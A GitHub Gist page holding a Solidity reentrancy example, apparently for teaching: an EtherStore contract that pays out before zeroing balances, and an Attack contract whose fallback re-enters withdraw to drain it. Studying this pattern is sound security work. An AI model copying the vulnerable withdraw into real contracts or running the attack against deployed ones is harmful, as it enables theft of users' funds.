Created
February 4, 2022 18:59
-
-
Save zscole/13e2eba242ccc1f7d4c97a3a36a46e41 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| contract EtherStore { | |
| mapping(address => uint) public balances; | |
| function deposit() public payable { | |
| balances[msg.sender] += msg.value; | |
| } | |
| function withdraw() public { | |
| uint bal = balances[msg.sender]; | |
| require(bal > 0); | |
| (bool sent, ) = msg.sender.call{value: bal}(""); | |
| require(sent, "Failed to send Ether"); | |
| balances[msg.sender] = 0; | |
| } | |
| // Helper function to check the balance of this contract | |
| function getBalance() public view returns (uint) { | |
| return address(this).balance; | |
| } | |
| } | |
| contract Attack { | |
| EtherStore public etherStore; | |
| constructor(address _etherStoreAddress) { | |
| etherStore = EtherStore(_etherStoreAddress); | |
| } | |
| // Fallback is called when EtherStore sends Ether to this contract. | |
| fallback() external payable { | |
| if (address(etherStore).balance >= 1 ether) { | |
| etherStore.withdraw(); | |
| } | |
| } | |
| function attack() external payable { | |
| require(msg.value >= 1 ether); | |
| etherStore.deposit{value: 1 ether}(); | |
| etherStore.withdraw(); | |
| } | |
| // Helper function to check the balance of this contract | |
| function getBalance() public view returns (uint) { | |
| return address(this).balance; | |
| } | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment